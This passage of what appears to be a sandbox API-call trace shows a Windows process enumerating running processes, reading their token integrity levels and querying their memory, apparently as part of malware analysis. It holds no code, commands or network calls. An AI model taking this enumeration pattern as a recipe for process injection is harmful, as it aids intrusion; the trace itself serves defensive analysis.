SubAuthority=0x4000)) returned 0xf99ce1 [0057.886] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xf99ce8 [0057.886] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0057.887] NtClose (Handle=0x1f0) returned 0x0 [0057.908] QueryFullProcessImageNameW (in: hProcess=0x168, dwFlags=0x0, lpExeName=0x1a8e268, lpdwSize=0x17af784 | out: lpExeName="C:\\Windows\\System32\\lsm.exe", lpdwSize=0x17af784) returned 1 [0057.909] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8e268) returned 1 [0057.909] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0057.909] IsWow64Process (in: hProcess=0x168, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0057.909] NtQueryInformationProcess (in: ProcessHandle=0x168, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0057.909] GetProcessTimes (in: hProcess=0x168, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0057.909] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0057.909] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0057.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0057.909] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0057.909] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xf99ce1 [0057.909] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xf99ce8 [0057.909] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0057.909] NtClose (Handle=0x1f0) returned 0x0 [0057.917] QueryFullProcessImageNameW (in: hProcess=0x184, dwFlags=0x0, lpExeName=0x1a8e268, lpdwSize=0x17af784 | out: lpExeName="C:\\Windows\\System32\\dwm.exe", lpdwSize=0x17af784) returned 1 [0057.917] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8e268) returned 1 [0057.917] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0057.917] IsWow64Process (in: hProcess=0x184, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0057.917] NtQueryInformationProcess (in: ProcessHandle=0x184, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0057.917] GetProcessTimes (in: hProcess=0x184, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0057.917] OpenProcessToken (in: ProcessHandle=0x184, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0057.917] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0057.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0057.917] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0057.917] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0057.917] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0057.917] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0057.917] NtClose (Handle=0x1f0) returned 0x0 [0057.929] QueryFullProcessImageNameW (in: hProcess=0x174, dwFlags=0x0, lpExeName=0x1aa2df0, lpdwSize=0x17af784 | out: lpExeName="C:\\Windows\\explorer.exe", lpdwSize=0x17af784) returned 1 [0057.929] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1aa2df0) returned 1 [0057.930] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0057.930] IsWow64Process (in: hProcess=0x174, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0057.930] NtQueryInformationProcess (in: ProcessHandle=0x174, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0057.930] GetProcessTimes (in: hProcess=0x174, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0057.930] OpenProcessToken (in: ProcessHandle=0x174, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0057.930] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0057.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0057.930] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0057.930] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0057.930] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0057.930] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0057.930] NtClose (Handle=0x1f0) returned 0x0 [0057.998] QueryFullProcessImageNameW (in: hProcess=0x18c, dwFlags=0x0, lpExeName=0x1ab8578, lpdwSize=0x17af784 | out: lpExeName="C:\\Windows\\System32\\taskhost.exe", lpdwSize=0x17af784) returned 1 [0057.998] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1ab8578) returned 1 [0057.998] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0057.999] IsWow64Process (in: hProcess=0x18c, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0057.999] NtQueryInformationProcess (in: ProcessHandle=0x18c, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0057.999] GetProcessTimes (in: hProcess=0x18c, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0057.999] OpenProcessToken (in: ProcessHandle=0x18c, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0057.999] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0057.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0057.999] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0057.999] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0057.999] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0057.999] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0057.999] NtClose (Handle=0x1f0) returned 0x0 [0058.015] QueryFullProcessImageNameW (in: hProcess=0x190, dwFlags=0x0, lpExeName=0x1ab9780, lpdwSize=0x17af784 | out: lpExeName="C:\\Windows\\System32\\taskeng.exe", lpdwSize=0x17af784) returned 1 [0058.016] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1ab9780) returned 1 [0058.016] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.016] IsWow64Process (in: hProcess=0x190, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.016] NtQueryInformationProcess (in: ProcessHandle=0x190, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.016] GetProcessTimes (in: hProcess=0x190, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.016] OpenProcessToken (in: ProcessHandle=0x190, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.016] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.016] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.016] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000)) returned 0xf99ce1 [0058.016] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000), nSubAuthority=0x0) returned 0xf99ce8 [0058.016] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.016] NtClose (Handle=0x1f0) returned 0x0 [0058.028] QueryFullProcessImageNameW (in: hProcess=0x17c, dwFlags=0x0, lpExeName=0x1ab9800, lpdwSize=0x17af784 | out: lpExeName="C:\\Windows\\System32\\taskhost.exe", lpdwSize=0x17af784) returned 1 [0058.028] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1ab9800) returned 1 [0058.028] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.028] IsWow64Process (in: hProcess=0x17c, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.029] NtQueryInformationProcess (in: ProcessHandle=0x17c, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.029] GetProcessTimes (in: hProcess=0x17c, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.029] OpenProcessToken (in: ProcessHandle=0x17c, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.029] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.029] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.029] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xf99ce1 [0058.029] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xf99ce8 [0058.029] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.029] NtClose (Handle=0x1f0) returned 0x0 [0058.054] QueryFullProcessImageNameW (in: hProcess=0x194, dwFlags=0x0, lpExeName=0x1aa35f0, lpdwSize=0x17af784 | out: lpExeName="C:\\Program Files\\Windows Journal\\component.exe", lpdwSize=0x17af784) returned 1 [0058.054] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1aa35f0) returned 1 [0058.054] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.054] IsWow64Process (in: hProcess=0x194, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.054] NtQueryInformationProcess (in: ProcessHandle=0x194, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.054] GetProcessTimes (in: hProcess=0x194, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.054] OpenProcessToken (in: ProcessHandle=0x194, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.054] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.054] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.054] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0058.054] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0058.054] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.054] NtClose (Handle=0x1f0) returned 0x0 [0058.054] NtQueryVirtualMemory (in: ProcessHandle=0x194, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0058.054] NtQueryVirtualMemory (in: ProcessHandle=0x194, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0058.066] QueryFullProcessImageNameW (in: hProcess=0x198, dwFlags=0x0, lpExeName=0x1ace180, lpdwSize=0x17af784 | out: lpExeName="C:\\Program Files\\Windows Photo Viewer\\pending_biz_pj.exe", lpdwSize=0x17af784) returned 1 [0058.066] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1ace180) returned 1 [0058.066] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.066] IsWow64Process (in: hProcess=0x198, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.066] NtQueryInformationProcess (in: ProcessHandle=0x198, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.066] GetProcessTimes (in: hProcess=0x198, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.066] OpenProcessToken (in: ProcessHandle=0x198, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.066] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.067] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.067] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0058.067] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0058.067] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.067] NtClose (Handle=0x1f0) returned 0x0 [0058.067] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0058.067] NtQueryVirtualMemory (in: ProcessHandle=0x198, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0058.078] QueryFullProcessImageNameW (in: hProcess=0x19c, dwFlags=0x0, lpExeName=0x1ace180, lpdwSize=0x17af784 | out: lpExeName="C:\\Program Files\\Reference Assemblies\\consequence.exe", lpdwSize=0x17af784) returned 1 [0058.078] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1ace180) returned 1 [0058.078] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.078] IsWow64Process (in: hProcess=0x19c, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.078] NtQueryInformationProcess (in: ProcessHandle=0x19c, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.078] GetProcessTimes (in: hProcess=0x19c, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.078] OpenProcessToken (in: ProcessHandle=0x19c, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.078] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.078] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.078] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0058.078] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0058.078] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.078] NtClose (Handle=0x1f0) returned 0x0 [0058.078] NtQueryVirtualMemory (in: ProcessHandle=0x19c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0058.078] NtQueryVirtualMemory (in: ProcessHandle=0x19c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0058.089] QueryFullProcessImageNameW (in: hProcess=0x1a0, dwFlags=0x0, lpExeName=0xf4fad8, lpdwSize=0x17af784 | out: lpExeName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\collected_albania_snap.exe", lpdwSize=0x17af784) returned 1 [0058.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bf9270 [0058.089] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bb6fb8) returned 1 [0058.089] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf4fad8) returned 1 [0058.089] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17af758 | out: Wow64Process=0x17af758) returned 1 [0058.089] IsWow64Process (in: hProcess=0x1a0, Wow64Process=0x17af768 | out: Wow64Process=0x17af768) returned 1 [0058.089] NtQueryInformationProcess (in: ProcessHandle=0x1a0, ProcessInformationClass=0x18, ProcessInformation=0x17af764, ProcessInformationLength=0x4, ReturnLength=0x17af768 | out: ProcessInformation=0x17af764, ReturnLength=0x17af768) returned 0x0 [0058.089] GetProcessTimes (in: hProcess=0x1a0, lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c | out: lpCreationTime=0x17af784, lpExitTime=0x17af78c, lpKernelTime=0x17af78c, lpUserTime=0x17af78c) returned 1 [0058.089] OpenProcessToken (in: ProcessHandle=0x1a0, DesiredAccess=0x8, TokenHandle=0x17af758 | out: TokenHandle=0x17af758*=0x1f0) returned 1 [0058.089] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x17af754 | out: TokenInformation=0x0, ReturnLength=0x17af754) returned 0 [0058.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99cd8 [0058.090] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x19, TokenInformation=0xf99cd8, TokenInformationLength=0x14, ReturnLength=0x17af754 | out: TokenInformation=0xf99cd8, ReturnLength=0x17af754) returned 1 [0058.090] GetSidSubAuthorityCount (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xf99ce1 [0058.090] GetSidSubAuthority (pSid=0xf99ce0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xf99ce8 [0058.090] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99cd8) returned 1 [0058.090] NtClose (Handle=0x1f0) returned 0x0 [0058.090] NtQueryVirtualMemory (in: ProcessHandle=0x1a0, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xf99c90*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0058.090] NtQueryVirtualMemory (in: ProcessHandle=0x1a0, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xf99c90, Length=0x30, ResultLength=0x0 | 